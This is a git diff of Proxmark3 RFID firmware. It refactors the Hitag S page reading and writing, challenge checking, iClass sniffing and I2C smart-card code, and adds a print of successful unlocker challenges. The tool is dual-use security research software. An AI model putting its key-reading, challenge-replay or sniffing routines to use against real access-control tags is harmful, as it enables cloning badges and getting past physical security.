+1260,8 @@ void ReadHitagS(hitag_function htf, hitag_data *htd) { // synchronized startup procedure while (AT91C_BASE_TC0->TC_CV > 0); // wait until TC0 returned to zero - // Reset the received frame, frame count and timing info t_wait = 200; - while (!bStop && !BUTTON_PRESS() && !data_available()) { WDT_HIT(); @@ -1254,15 +1292,15 @@ void ReadHitagS(hitag_function htf, hitag_data *htd) { tag.tstate = HT_READING_PAGE; txlen = 20; crc = CRC_PRESET; - tx[0] = 0xc0 + (sendNum / 16); + tx[0] = 0xc0 + (pageNum / 16); calc_crc(&crc, tx[0], 8); - calc_crc(&crc, 0x00 + ((sendNum % 16) * 16), 4); - tx[1] = 0x00 + ((sendNum % 16) * 16) + (crc / 16); + calc_crc(&crc, 0x00 + ((pageNum % 16) * 16), 4); + tx[1] = 0x00 + ((pageNum % 16) * 16) + (crc / 16); tx[2] = 0x00 + (crc % 16) * 16; } else if (tag.pstate == HT_SELECTED && tag.tstate == HT_READING_PAGE && rxlen > 0) { - //save received data + //save received data - 40 bits z = 0; for (i = 0; i < 5; i++) { for (j = 0; j < 8; j++) { @@ -1273,38 +1311,38 @@ void ReadHitagS(hitag_function htf, hitag_data *htd) { } } k = 0; - for (i = 4; i < 36; i++) { + for (i = 4; i < 36; i++) { // ignore first 4 bits: SOF (actualy 1 or 6 depending on response protocol) pageData[k] = response_bit[i]; k++; } - for (i = 0; i < 4; i++) - tag.pages[sendNum / 4][sendNum % 4] = 0x0; - for (i = 0; i < 4; i++) { - tag.pages[sendNum / 4][sendNum % 4] += ((pageData[i * 8] << 7) - | (pageData[1 + (i * 8)] << 6) - | (pageData[2 + (i * 8)] << 5) - | (pageData[3 + (i * 8)] << 4) - | (pageData[4 + (i * 8)] << 3) - | (pageData[5 + (i * 8)] << 2) - | (pageData[6 + (i * 8)] << 1) | pageData[7 + (i * 8)]) - << (i * 8); + for (i = 0; i < 4; i++) // set page bytes to 0 + tag.pages[pageNum][i] = 0x0; + for (i = 0; i < 4; i++) { // set page bytes from recieved bits + tag.pages[pageNum][i] += ((pageData[i * 8] << 7) + | (pageData[1 + (i * 8)] << 6) + | (pageData[2 + (i * 8)] << 5) + | (pageData[3 + (i * 8)] << 4) + | (pageData[4 + (i * 8)] << 3) + | (pageData[5 + (i * 8)] << 2) + | (pageData[6 + (i * 8)] << 1) + | pageData[7 + (i * 8)]); } - if (tag.auth && tag.LKP && sendNum == 1) { - Dbprintf("Page[%2d]: %02X %02X %02X %02X", sendNum, pwdh0, - (tag.pages[sendNum / 4][sendNum % 4] >> 16) & 0xff, - (tag.pages[sendNum / 4][sendNum % 4] >> 8) & 0xff, - tag.pages[sendNum / 4][sendNum % 4] & 0xff); + if (tag.auth && tag.LKP && pageNum == 1) { + Dbprintf("Page[%2d]: %02X %02X %02X %02X", pageNum, pwdh0, + (tag.pages[pageNum][2]) & 0xff, + (tag.pages[pageNum][1]) & 0xff, + tag.pages[pageNum][0] & 0xff); } else { - Dbprintf("Page[%2d]: %02X %02X %02X %02X", sendNum, - (tag.pages[sendNum / 4][sendNum % 4] >> 24) & 0xff, - (tag.pages[sendNum / 4][sendNum % 4] >> 16) & 0xff, - (tag.pages[sendNum / 4][sendNum % 4] >> 8) & 0xff, - tag.pages[sendNum / 4][sendNum % 4] & 0xff); + Dbprintf("Page[%2d]: %02X %02X %02X %02X", pageNum, + (tag.pages[pageNum][3]) & 0xff, + (tag.pages[pageNum][2]) & 0xff, + (tag.pages[pageNum][1]) & 0xff, + tag.pages[pageNum][0] & 0xff); } - sendNum++; + pageNum++; //display key and password if possible - if (sendNum == 2 && tag.auth == 1 && tag.LKP) { + if (pageNum == 2 && tag.auth == 1 && tag.LKP) { if (htf == RHTSF_KEY) { Dbprintf("Page[ 2]: %02X %02X %02X %02X", (uint8_t)(key >> 8) & 0xff, @@ -1323,16 +1361,18 @@ void ReadHitagS(hitag_function htf, hitag_data *htd) { Dbprintf("Page[ 2]: __ __ __ __"); Dbprintf("Page[ 3]: __ __ __ __"); } + // since page 2+3 are not accessible when LKP == 1 and AUT == 1 fastforward to next readable page + pageNum = 4; } txlen = 20; crc = CRC_PRESET; - tx[0] = 0xc0 + (sendNum / 16); + tx[0] = 0xc0 + (pageNum / 16); calc_crc(&crc, tx[0], 8); - calc_crc(&crc, 0x00 + ((sendNum % 16) * 16), 4); - tx[1] = 0x00 + ((sendNum % 16) * 16) + (crc / 16); + calc_crc(&crc, 0x00 + ((pageNum % 16) * 16), 4); + tx[1] = 0x00 + ((pageNum % 16) * 16) + (crc / 16); tx[2] = 0x00 + (crc % 16) * 16; - if (sendNum >= tag.max_page) { + if (pageNum >= tag.max_page) { bStop = !false; } } @@ -1343,7 +1383,7 @@ void ReadHitagS(hitag_function htf, hitag_data *htd) { // Wait for HITAG_T_WAIT_2 carrier periods after the last tag bit before transmitting, // Since the clock counts since the last falling edge, a 'one' means that the - // falling edge occured halfway the period. with respect to this falling edge, + // falling edge occurred halfway the period. with respect to this falling edge, // we need to wait (T_Wait2 + half_tag_period) when the last was a 'one'. // All timer values are in terms of T0 units @@ -1361,85 +1401,12 @@ void ReadHitagS(hitag_function htf, hitag_data *htd) { LogTrace(tx, nbytes(txlen), HITAG_T_WAIT_2, 0, NULL, true); } - // Reset values for receiving frames - memset(rx, 0x00, sizeof(rx)); - rxlen = 0; - lastbit = 1; - bool bSkip = true; - int tag_sof = reset_sof; - response = 0; - - // Receive frame, watch for at most T0*EOF periods - while (AT91C_BASE_TC1->TC_CV < T0 * HITAG_T_WAIT_MAX) { - // Check if falling edge in tag modulation is detected - if (AT91C_BASE_TC1->TC_SR & AT91C_TC_LDRAS) { - // Retrieve the new timing values - int ra = (AT91C_BASE_TC1->TC_RA / T0); - - // Reset timer every frame, we have to capture the last edge for timing - AT91C_BASE_TC0->TC_CCR = AT91C_TC_SWTRG; - - LED_B_ON(); - - // Capture tag frame (manchester decoding using only falling edges) - if (ra >= HITAG_T_EOF) { - if (rxlen != 0) { - //DbpString("wierd1?"); - } - // Capture the T0 periods that have passed since last communication or field drop (reset) - // We always recieve a 'one' first, which has the falling edge after a half period |-_| - response = ra - HITAG_T_TAG_HALF_PERIOD; - } else if (ra >= HITAG_T_TAG_CAPTURE_FOUR_HALF) { - // Manchester coding example |-_|_-|-_| (101) - rx[rxlen / 8] |= 0 << (7 - (rxlen % 8)); - rxlen++; - rx[rxlen / 8] |= 1 << (7 - (rxlen % 8)); - rxlen++; - } else if (ra >= HITAG_T_TAG_CAPTURE_THREE_HALF) { - // Manchester coding example |_-|...|_-|-_| (0...01) - rx[rxlen / 8] |= 0 << (7 - (rxlen % 8)); - rxlen++; - // We have to skip this half period at start and add the 'one' the second time - if (!bSkip) { - rx[rxlen / 8] |= 1 << (7 - (rxlen % 8)); - rxlen++; - } - lastbit = !lastbit; - bSkip = !bSkip; - } else if (ra >= HITAG_T_TAG_CAPTURE_TWO_HALF) { - // Manchester coding example |_-|_-| (00) or |-_|-_| (11) - if (tag_sof) { - // Ignore bits that are transmitted during SOF - tag_sof--; - } else { - // bit is same as last bit - rx[rxlen / 8] |= lastbit << (7 - (rxlen % 8)); - rxlen++; - } - } else { - // Ignore wierd value, is to small to mean anything - } - } - - // We can break this loop if we received the last bit from a frame - if (AT91C_BASE_TC1->TC_CV > T0 * HITAG_T_EOF) { - if (rxlen > 0) - break; - } - } + hitagS_receive_frame(rx, &rxlen, &response); } end = false; - - LEDsoff(); - FpgaWriteConfWord(FPGA_MAJOR_MODE_OFF); set_tracing(false); - AT91C_BASE_TC1->TC_CCR = AT91C_TC_CLKDIS; - AT91C_BASE_TC0->TC_CCR = AT91C_TC_CLKDIS; - FpgaWriteConfWord(FPGA_MAJOR_MODE_OFF); - - StartTicks(); - + lf_finalize(); reply_old(CMD_ACK, bSuccessful, 0, 0, 0, 0); } @@ -1459,7 +1426,6 @@ void WritePageHitagS(hitag_function htf, hitag_data *htd, int page) { uint8_t *tx = txbuf; size_t txlen = 0; int lastbit; - int reset_sof; int t_wait = HITAG_T_WAIT_MAX; bool bStop; unsigned char crc; @@ -1517,7 +1483,7 @@ void WritePageHitagS(hitag_function htf, hitag_data *htd, int page) { // Set fpga in edge detect with reader field, we can modulate as reader now FpgaWriteConfWord(FPGA_MAJOR_MODE_LF_EDGE_DETECT | FPGA_LF_EDGE_DETECT_READER_FIELD); - FpgaSendCommand(FPGA_CMD_SET_DIVISOR, 95); //125Khz + FpgaSendCommand(FPGA_CMD_SET_DIVISOR, LF_DIVISOR_125); //125kHz SetAdcMuxFor(GPIO_MUXSEL_LOPKD); // Disable modulation at default, which means enable the field @@ -1535,6 +1501,7 @@ void WritePageHitagS(hitag_function htf, hitag_data *htd, int page) { AT91C_BASE_TC1->TC_CCR = AT91C_TC_CLKDIS; // Capture mode, defaul timer source = MCK/2 (TIMER_CLOCK1), TIOA is external trigger, + AT91C_BASE_TC0->TC_CMR = AT91C_TC_CLKS_TIMER_DIV1_CLOCK; // external trigger rising edge, load RA on falling edge of TIOA. AT91C_BASE_TC1->TC_CMR = AT91C_TC_CLKS_TIMER_DIV1_CLOCK | AT91C_TC_ETRGEDG_FALLING @@ -1550,7 +1517,6 @@ void WritePageHitagS(hitag_function htf, hitag_data *htd, int page) { // Reset the received frame, frame count and timing info lastbit = 1; bStop = false; - reset_sof = 1; t_wait = 200; while (!bStop && !BUTTON_PRESS() && !data_available()) { @@ -1632,7 +1598,7 @@ void WritePageHitagS(hitag_function htf, hitag_data *htd, int page) { // Wait for HITAG_T_WAIT_2 carrier periods after the last tag bit before transmitting, // Since the clock counts since the last falling edge, a 'one' means that the - // falling edge occured halfway the period. with respect to this falling edge, + // falling edge occurred halfway the period. with respect to this falling edge, // we need to wait (T_Wait2 + half_tag_period) when the last was a 'one'. // All timer values are in terms of T0 units @@ -1650,87 +1616,13 @@ void WritePageHitagS(hitag_function htf, hitag_data *htd, int page) { LogTrace(tx, nbytes(txlen), HITAG_T_WAIT_2, 0, NULL, true); } - // Reset values for receiving frames - memset(rx, 0x00, sizeof(rx)); - rxlen = 0; - lastbit = 1; - bool bSkip = true; - int tag_sof = reset_sof; - response = 0; - uint32_t errorCount = 0; + hitagS_receive_frame(rx, &rxlen, &response); - // Receive frame, watch for at most T0*EOF periods - while (AT91C_BASE_TC1->TC_CV < T0 * HITAG_T_WAIT_MAX) { - // Check if falling edge in tag modulation is detected - if (AT91C_BASE_TC1->TC_SR & AT91C_TC_LDRAS) { - // Retrieve the new timing values - int ra = (AT91C_BASE_TC1->TC_RA / T0); - - // Reset timer every frame, we have to capture the last edge for timing - AT91C_BASE_TC0->TC_CCR = AT91C_TC_SWTRG; - - LED_B_ON(); - - // Capture tag frame (manchester decoding using only falling edges) - if (ra >= HITAG_T_EOF) { - if (rxlen != 0) { - //DbpString("wierd1?"); - } - // Capture the T0 periods that have passed since last communication or field drop (reset) - // We always recieve a 'one' first, which has the falling edge after a half period |-_| - response = ra - HITAG_T_TAG_HALF_PERIOD; - } else if (ra >= HITAG_T_TAG_CAPTURE_FOUR_HALF) { - // Manchester coding example |-_|_-|-_| (101) - rx[rxlen / 8] |= 0 << (7 - (rxlen % 8)); - rxlen++; - rx[rxlen / 8] |= 1 << (7 - (rxlen % 8)); - rxlen++; - } else if (ra >= HITAG_T_TAG_CAPTURE_THREE_HALF) { - // Manchester coding example |_-|...|_-|-_| (0...01) - rx[rxlen / 8] |= 0 << (7 - (rxlen % 8)); - rxlen++; - // We have to skip this half period at start and add the 'one' the second time - if (!bSkip) { - rx[rxlen / 8] |= 1 << (7 - (rxlen % 8)); - rxlen++; - } - lastbit = !lastbit; - bSkip = !bSkip; - } else if (ra >= HITAG_T_TAG_CAPTURE_TWO_HALF) { - // Manchester coding example |_-|_-| (00) or |-_|-_| (11) - if (tag_sof) { - // Ignore bits that are transmitted during SOF - tag_sof--; - } else { - // bit is same as last bit - rx[rxlen / 8] |= lastbit << (7 - (rxlen % 8)); - rxlen++; - } - } else { - // Ignore wierd value, is to small to mean anything - errorCount++; - } - } - - // if we saw over 100 wierd values break it probably isn't hitag... - if (errorCount > 100) break; - - // We can break this loop if we received the last bit from a frame - if (AT91C_BASE_TC1->TC_CV > T0 * HITAG_T_EOF) { - if (rxlen > 0) - break; - } - } } end = false; - LEDsoff(); - FpgaWriteConfWord(FPGA_MAJOR_MODE_OFF); set_tracing(false); - AT91C_BASE_TC1->TC_CCR = AT91C_TC_CLKDIS; - AT91C_BASE_TC0->TC_CCR = AT91C_TC_CLKDIS; - - StartTicks(); + lf_finalize(); reply_old(CMD_ACK, bSuccessful, 0, 0, 0, 0); } @@ -1753,7 +1645,7 @@ void check_challenges(bool file_given, uint8_t *data) { size_t rxlen = 0; uint8_t txbuf[HITAG_FRAME_LEN]; int t_wait = HITAG_T_WAIT_MAX; - int lastbit, reset_sof, STATE = 0;; + int lastbit, STATE = 0;; bool bStop; int response_bit[200]; unsigned char mask = 1; @@ -1778,7 +1670,7 @@ void check_challenges(bool file_given, uint8_t *data) { // Set fpga in edge detect with reader field, we can modulate as reader now FpgaWriteConfWord(FPGA_MAJOR_MODE_LF_EDGE_DETECT | FPGA_LF_EDGE_DETECT_READER_FIELD); - FpgaSendCommand(FPGA_CMD_SET_DIVISOR, 95); //125Khz + FpgaSendCommand(FPGA_CMD_SET_DIVISOR, LF_DIVISOR_125); //125kHz SetAdcMuxFor(GPIO_MUXSEL_LOPKD); // Disable modulation at default, which means enable the field @@ -1814,7 +1706,6 @@ void check_challenges(bool file_given, uint8_t *data) { // Reset the received frame, frame count and timing info lastbit = 1; bStop = false; - reset_sof = 1; t_wait = 200; if (file_given) { @@ -1932,6 +1823,11 @@ void check_challenges(bool file_given, uint8_t *data) { u1++; } else if (STATE == 2 && rxlen >= 44) { + Dbprintf("Challenge success: %02X%02X%02X%02X %02X%02X%02X%02X", + unlocker[u1 - 1][0], unlocker[u1 - 1][1], + unlocker[u1 - 1][2], unlocker[u1 - 1][3], + unlocker[u1 - 1][4], unlocker[u1 - 1][5], + unlocker[u1 - 1][6], unlocker[u1 - 1][7]); STATE = 0; } @@ -1941,7 +1837,7 @@ void check_challenges(bool file_given, uint8_t *data) { // Wait for HITAG_T_WAIT_2 carrier periods after the last tag bit before transmitting, // Since the clock counts since the last falling edge, a 'one' means that the - // falling edge occured halfway the period. with respect to this falling edge, + // falling edge occurred halfway the period. with respect to this falling edge, // we need to wait (T_Wait2 + half_tag_period) when the last was a 'one'. // All timer values are in terms of T0 units @@ -1959,85 +1855,10 @@ void check_challenges(bool file_given, uint8_t *data) { LogTrace(tx, nbytes(txlen), HITAG_T_WAIT_2, 0, NULL, true); } - // Reset values for receiving frames - memset(rx, 0x00, sizeof(rx)); - rxlen = 0; - lastbit = 1; - bool bSkip = true; - int tag_sof = reset_sof; - response = 0; - - // Receive frame, watch for at most T0*EOF periods - while (AT91C_BASE_TC1->TC_CV < T0 * HITAG_T_WAIT_MAX) { - // Check if falling edge in tag modulation is detected - if (AT91C_BASE_TC1->TC_SR & AT91C_TC_LDRAS) { - // Retrieve the new timing values - int ra = (AT91C_BASE_TC1->TC_RA / T0); - - // Reset timer every frame, we have to capture the last edge for timing - AT91C_BASE_TC0->TC_CCR = AT91C_TC_SWTRG; - - LED_B_ON(); - - // Capture tag frame (manchester decoding using only falling edges) - if (ra >= HITAG_T_EOF) { - if (rxlen != 0) { - //DbpString("wierd1?"); - } - // Capture the T0 periods that have passed since last communication or field drop (reset) - // We always recieve a 'one' first, which has the falling edge after a half period |-_| - response = ra - HITAG_T_TAG_HALF_PERIOD; - } else if (ra >= HITAG_T_TAG_CAPTURE_FOUR_HALF) { - // Manchester coding example |-_|_-|-_| (101) - rx[rxlen / 8] |= 0 << (7 - (rxlen % 8)); - rxlen++; - rx[rxlen / 8] |= 1 << (7 - (rxlen % 8)); - rxlen++; - } else if (ra >= HITAG_T_TAG_CAPTURE_THREE_HALF) { - // Manchester coding example |_-|...|_-|-_| (0...01) - rx[rxlen / 8] |= 0 << (7 - (rxlen % 8)); - rxlen++; - // We have to skip this half period at start and add the 'one' the second time - if (!bSkip) { - rx[rxlen / 8] |= 1 << (7 - (rxlen % 8)); - rxlen++; - } - lastbit = !lastbit; - bSkip = !bSkip; - } else if (ra >= HITAG_T_TAG_CAPTURE_TWO_HALF) { - // Manchester coding example |_-|_-| (00) or |-_|-_| (11) - if (tag_sof) { - // Ignore bits that are transmitted during SOF - tag_sof--; - } else { - // bit is same as last bit - rx[rxlen / 8] |= lastbit << (7 - (rxlen % 8)); - rxlen++; - } - } else { - // Ignore wierd value, is to small to mean anything - } - } - - // We can break this loop if we received the last bit from a frame - if (AT91C_BASE_TC1->TC_CV > T0 * HITAG_T_EOF) { - if (rxlen > 0) - break; - } - } + hitagS_receive_frame(rx, &rxlen, &response); } - LEDsoff(); - FpgaWriteConfWord(FPGA_MAJOR_MODE_OFF); set_tracing(false); - - AT91C_BASE_TC1->TC_CCR = AT91C_TC_CLKDIS; - AT91C_BASE_TC0->TC_CCR = AT91C_TC_CLKDIS; - - StartTicks(); - + lf_finalize(); reply_old(CMD_ACK, bSuccessful, 0, 0, 0, 0); } - - - diff --git a/armsrc/hitagS.h b/armsrc/hitagS.h index 49a885c4c..f4efd70a6 100644 --- a/armsrc/hitagS.h +++ b/armsrc/hitagS.h @@ -12,16 +12,9 @@ #ifndef _HITAGS_H_ #define _HITAGS_H_ -#include -#include -#include -#include "hitag2_crypto.h" +#include "common.h" + #include "hitag.h" -#include "proxmark3.h" -#include "apps.h" -#include "util.h" -#include "string.h" -#include "BigBuf.h" void SimulateHitagSTag(bool tag_mem_supplied, uint8_t *data); void ReadHitagS(hitag_function htf, hitag_data *htd); diff --git a/common/i2c.c b/armsrc/i2c.c similarity index 98% rename from common/i2c.c rename to armsrc/i2c.c index d51cba4a3..3d1f050c3 100644 --- a/common/i2c.c +++ b/armsrc/i2c.c @@ -10,6 +10,14 @@ //----------------------------------------------------------------------------- #include "i2c.h" +#include "proxmark3_arm.h" +#include "cmd.h" +#include "BigBuf.h" +#include "ticks.h" +#include "dbprint.h" +#include "util.h" +#include "string.h" + #define GPIO_RST AT91C_PIO_PA1 #define GPIO_SCL AT91C_PIO_PA5 #define GPIO_SDA AT91C_PIO_PA7 @@ -26,7 +34,7 @@ volatile unsigned long c; -// Direct use the loop to delay. 6 instructions loop, Masterclock 48Mhz, +// Direct use the loop to delay. 6 instructions loop, Masterclock 48MHz, // delay=1 is about 200kbps // timer. // I2CSpinDelayClk(4) = 12.31us @@ -41,7 +49,7 @@ void __attribute__((optimize("O0"))) I2CSpinDelayClk(uint16_t delay) { #define ISO7618_MAX_FRAME 255 -// try i2c bus recovery at 100kHz = 5uS high, 5uS low +// try i2c bus recovery at 100kHz = 5us high, 5us low void I2C_recovery(void) { DbpString("Performing i2c bus recovery"); @@ -701,7 +709,7 @@ void SmartCardAtr(void) { set_tracing(true); I2C_Reset_EnterMainProgram(); bool isOK = GetATR(&card); - reply_old(CMD_ACK, isOK, sizeof(smart_card_atr_t), 0, &card, sizeof(smart_card_atr_t)); + reply_mix(CMD_ACK, isOK, sizeof(smart_card_atr_t), 0, &card, sizeof(smart_card_atr_t)); set_tracing(false); LEDsoff(); } @@ -752,7 +760,7 @@ void SmartCardRaw(uint64_t arg0, uint64_t arg1, uint8_t *data) { } } OUT: - reply_old(CMD_ACK, len, 0, 0, resp, len); + reply_mix(CMD_ACK, len, 0, 0, resp, len); BigBuf_free(); set_tracing(false); LEDsoff(); diff --git a/common/i2c.h b/armsrc/i2c.h similarity index 95% rename from common/i2c.h rename to armsrc/i2c.h index 52be70ef0..7b1707502 100644 --- a/common/i2c.h +++ b/armsrc/i2c.h @@ -1,10 +1,7 @@ #ifndef __I2C_H #define __I2C_H -#include -#include "proxmark3.h" -#include "apps.h" -#include "BigBuf.h" +#include "common.h" #include "mifare.h" #define I2C_DEVICE_ADDRESS_BOOT 0xB0 @@ -18,7 +15,6 @@ #define I2C_DEVICE_CMD_GETVERSION 0x06 #define I2C_DEVICE_CMD_SEND_T0 0x07 - void I2C_recovery(void); void I2C_init(void); void I2C_Reset(void); @@ -48,4 +44,5 @@ void SmartCardSetBaud(uint64_t arg0); void SmartCardSetClock(uint64_t arg0); void I2C_print_status(void); int I2C_get_version(uint8_t *maj, uint8_t *min); + #endif diff --git a/armsrc/iclass.c b/armsrc/iclass.c index 1662a963a..9ab2b5013 100644 --- a/armsrc/iclass.c +++ b/armsrc/iclass.c @@ -36,17 +36,30 @@ // //----------------------------------------------------------------------------- -#include "apps.h" +#include "iclass.h" + +#include "proxmark3_arm.h" #include "cmd.h" // Needed for CRC in emulation mode; // same construction as in ISO 14443; // different initial value (CRC_ICLASS) #include "crc16.h" -#include "protocols.h" #include "optimized_cipher.h" -#include "usb_cdc.h" // for usb_poll_validate_length -static int timeout = 4096; +#include "appmain.h" +#include "BigBuf.h" +#include "fpgaloader.h" +#include "string.h" +#include "util.h" +#include "dbprint.h" +#include "protocols.h" +#include "ticks.h" + +static int g_wait = 290; +static int timeout = 5000; +static uint32_t time_rdr = 0; +static uint32_t time_response = 0; + static int SendIClassAnswer(uint8_t *resp, int respLen, uint16_t delay); int doIClassSimulation(int simulationMode, uint8_t *reader_mac_buf); @@ -92,21 +105,21 @@ typedef struct { int bitBuffer; int dropPosition; uint8_t *output; -} tUart; +} tUartIc; */ typedef struct { enum { - DEMOD_UNSYNCD, - DEMOD_START_OF_COMMUNICATION, - DEMOD_START_OF_COMMUNICATION2, - DEMOD_START_OF_COMMUNICATION3, - DEMOD_SOF_COMPLETE, - DEMOD_MANCHESTER_D, - DEMOD_MANCHESTER_E, - DEMOD_END_OF_COMMUNICATION, - DEMOD_END_OF_COMMUNICATION2, - DEMOD_MANCHESTER_F, - DEMOD_ERROR_WAIT + DEMOD_IC_UNSYNCD, + DEMOD_IC_START_OF_COMMUNICATION, + DEMOD_IC_START_OF_COMMUNICATION2, + DEMOD_IC_START_OF_COMMUNICATION3, + DEMOD_IC_SOF_COMPLETE, + DEMOD_IC_MANCHESTER_D, + DEMOD_IC_MANCHESTER_E, + DEMOD_IC_END_OF_COMMUNICATION, + DEMOD_IC_END_OF_COMMUNICATION2, + DEMOD_IC_MANCHESTER_F, + DEMOD_IC_ERROR_WAIT } state; int bitCount; int posCount; @@ -125,7 +138,7 @@ typedef struct { SUB_BOTH } sub; uint8_t *output; -} tDemod; +} tDemodIc; /* * Abrasive's uart implementation @@ -138,18 +151,25 @@ typedef struct { bool frame_done; uint8_t *buf; int len; -} tUart; -static tUart Uart; +} tUartIc; +static tUartIc Uart; + +static void OnError(uint8_t reason) { + reply_mix(CMD_ACK, 0, reason, 0, 0, 0); + switch_off(); +} static void uart_reset(void) { Uart.frame_done = false; Uart.synced = false; Uart.frame = false; } + static void uart_init(uint8_t *data) { Uart.buf = data; uart_reset(); } + static void uart_bit(uint8_t bit) { static uint8_t buf = 0xff; static uint8_t n_buf; @@ -499,8 +519,8 @@ static RAMFUNC int OutOfNDecoding(int bit) { //============================================================================= // Manchester //============================================================================= -static tDemod Demod; -static void DemodReset() { +static tDemodIc Demod; +static void DemodIcReset() { Demod.bitCount = 0; Demod.posCount = 0; Demod.syncBit = 0; @@ -512,11 +532,11 @@ static void DemodReset() { Demod.samples = 0; Demod.len = 0; Demod.sub = SUB_NONE; - Demod.state = DEMOD_UNSYNCD; + Demod.state = DEMOD_IC_UNSYNCD; } -static void DemodInit(uint8_t *data) { +static void DemodIcInit(uint8_t *data) { Demod.output = data; - DemodReset(); + DemodIcReset(); } // UART debug @@ -592,7 +612,7 @@ static RAMFUNC int ManchesterDecoding_iclass(uint32_t v) { return false; } - if (Demod.state == DEMOD_UNSYNCD) { + if (Demod.state == DEMOD_IC_UNSYNCD) { Demod.output[Demod.len] = 0xfa; Demod.syncBit = 0; //Demod.samples = 0; @@ -620,7 +640,7 @@ static RAMFUNC int ManchesterDecoding_iclass(uint32_t v) { if (Demod.syncBit) { Demod.len = 0; - Demod.state = DEMOD_START_OF_COMMUNICATION; + Demod.state = DEMOD_IC_START_OF_COMMUNICATION; Demod.sub = SUB_FIRST_HALF; Demod.bitCount = 0; Demod.shiftReg = 0; @@ -644,12 +664,12 @@ static RAMFUNC int ManchesterDecoding_iclass(uint32_t v) { } // SOF must be long burst... otherwise stay unsynced!!! if (!(Demod.buffer & Demod.syncBit) || !(Demod.buffer2 & Demod.syncBit)) - Demod.state = DEMOD_UNSYNCD; + Demod.state = DEMOD_IC_UNSYNCD; } else { // SOF must be long burst... otherwise stay unsynced!!! if (!(Demod.buffer2 & Demod.syncBit) || !(Demod.buffer3 & Demod.syncBit)) { - Demod.state = DEMOD_UNSYNCD; + Demod.state = DEMOD_IC_UNSYNCD; error = 0x88; uart_debug(error, bit); return false; @@ -682,74 +702,74 @@ static RAMFUNC int ManchesterDecoding_iclass(uint32_t v) { } if (Demod.sub == SUB_NONE) { - if (Demod.state == DEMOD_SOF_COMPLETE) { + if (Demod.state == DEMOD_IC_SOF_COMPLETE) { Demod.output[Demod.len] = 0x0f; Demod.len++; - Demod.state = DEMOD_UNSYNCD; + Demod.state = DEMOD_IC_UNSYNCD; return true; } else { - Demod.state = DEMOD_ERROR_WAIT; + Demod.state = DEMOD_IC_ERROR_WAIT; error = 0x33; } } switch (Demod.state) { - case DEMOD_START_OF_COMMUNICATION: + case DEMOD_IC_START_OF_COMMUNICATION: if (Demod.sub == SUB_BOTH) { - Demod.state = DEMOD_START_OF_COMMUNICATION2; + Demod.state = DEMOD_IC_START_OF_COMMUNICATION2; Demod.posCount = 1; Demod.sub = SUB_NONE; } else { Demod.output[Demod.len] = 0xab; - Demod.state = DEMOD_ERROR_WAIT; + Demod.state = DEMOD_IC_ERROR_WAIT; error = 0xd2; } break; - case DEMOD_START_OF_COMMUNICATION2: + case DEMOD_IC_START_OF_COMMUNICATION2: if (Demod.sub == SUB_SECOND_HALF) { - Demod.state = DEMOD_START_OF_COMMUNICATION3; + Demod.state = DEMOD_IC_START_OF_COMMUNICATION3; } else { Demod.output[Demod.len] = 0xab; - Demod.state = DEMOD_ERROR_WAIT; + Demod.state = DEMOD_IC_ERROR_WAIT; error = 0xd3; } break; - case DEMOD_START_OF_COMMUNICATION3: + case DEMOD_IC_START_OF_COMMUNICATION3: if (Demod.sub == SUB_SECOND_HALF) { - Demod.state = DEMOD_SOF_COMPLETE; + Demod.state = DEMOD_IC_SOF_COMPLETE; } else { Demod.output[Demod.len] = 0xab; - Demod.state = DEMOD_ERROR_WAIT; + Demod.state = DEMOD_IC_ERROR_WAIT; error = 0xd4; } break; - case DEMOD_SOF_COMPLETE: - case DEMOD_MANCHESTER_D: - case DEMOD_MANCHESTER_E: + case DEMOD_IC_SOF_COMPLETE: + case DEMOD_IC_MANCHESTER_D: + case DEMOD_IC_MANCHESTER_E: // OPPOSITE FROM ISO14443 - 11110000 = 0 (1 in 14443) // 00001111 = 1 (0 in 14443) if (Demod.sub == SUB_SECOND_HALF) { // SUB_FIRST_HALF Demod.bitCount++; Demod.shiftReg = (Demod.shiftReg >> 1) ^ 0x100; - Demod.state = DEMOD_MANCHESTER_D; + Demod.state = DEMOD_IC_MANCHESTER_D; } else if (Demod.sub == SUB_FIRST_HALF) { // SUB_SECOND_HALF Demod.bitCount++; Demod.shiftReg >>= 1; - Demod.state = DEMOD_MANCHESTER_E; + Demod.state = DEMOD_IC_MANCHESTER_E; } else if (Demod.sub == SUB_BOTH) { - Demod.state = DEMOD_MANCHESTER_F; + Demod.state = DEMOD_IC_MANCHESTER_F; } else { - Demod.state = DEMOD_ERROR_WAIT; + Demod.state = DEMOD_IC_ERROR_WAIT; error = 0x55; } break; - case DEMOD_MANCHESTER_F: + case DEMOD_IC_MANCHESTER_F: // Tag response does not need to be a complete byte! if (Demod.len > 0 || Demod.bitCount > 0) { if (Demod.bitCount > 1) { // was > 0, do not interpret last closing bit, is part of EOF @@ -758,22 +778,22 @@ static RAMFUNC int ManchesterDecoding_iclass(uint32_t v) { Demod.len++; } - Demod.state = DEMOD_UNSYNCD; + Demod.state = DEMOD_IC_UNSYNCD; return true; } else { Demod.output[Demod.len] = 0xad; - Demod.state = DEMOD_ERROR_WAIT; + Demod.state = DEMOD_IC_ERROR_WAIT; error = 0x03; } break; - case DEMOD_ERROR_WAIT: - Demod.state = DEMOD_UNSYNCD; + case DEMOD_IC_ERROR_WAIT: + Demod.state = DEMOD_IC_UNSYNCD; break; default: Demod.output[Demod.len] = 0xdd; - Demod.state = DEMOD_UNSYNCD; + Demod.state = DEMOD_IC_UNSYNCD; break; } @@ -818,10 +838,10 @@ static void iclass_setup_sniff(void) { set_tracing(true); // Initialize Demod and Uart structs - DemodInit(BigBuf_malloc(ICLASS_BUFFER_SIZE)); + DemodIcInit(BigBuf_malloc(ICLASS_BUFFER_SIZE)); uart_init(BigBuf_malloc(ICLASS_BUFFER_SIZE)); - //UartInit(BigBuf_malloc(ICLASS_BUFFER_SIZE)); + //UartIcInit(BigBuf_malloc(ICLASS_BUFFER_SIZE)); if (DBGLEVEL > 1) { // Print debug information about the buffer sizes @@ -876,17 +896,22 @@ void RAMFUNC SniffIClass(void) { // time ZERO, the point from which it all is calculated. time_0 = GetCountSspClk(); - int divi = 0; - uint8_t tag_byte = 0, foo = 0; // loop and listen // every sample (1byte in data), // contains HIGH nibble = reader data // contains LOW nibble = tag data // so two bytes are needed in order to get 1byte of either reader or tag data. (ie 2 sample bytes) // since reader data is manchester encoded, we need 2bytes of data in order to get one demoded byte. (ie: 4 sample bytes) - while (!BUTTON_PRESS()) { + uint16_t checked = 0; + for (;;) { WDT_HIT(); + if (checked == 1000) { + if (BUTTON_PRESS() || data_available()) break; + checked = 0; + } + ++checked; + previous_data <<= 8; previous_data |= *data; @@ -899,14 +924,6 @@ 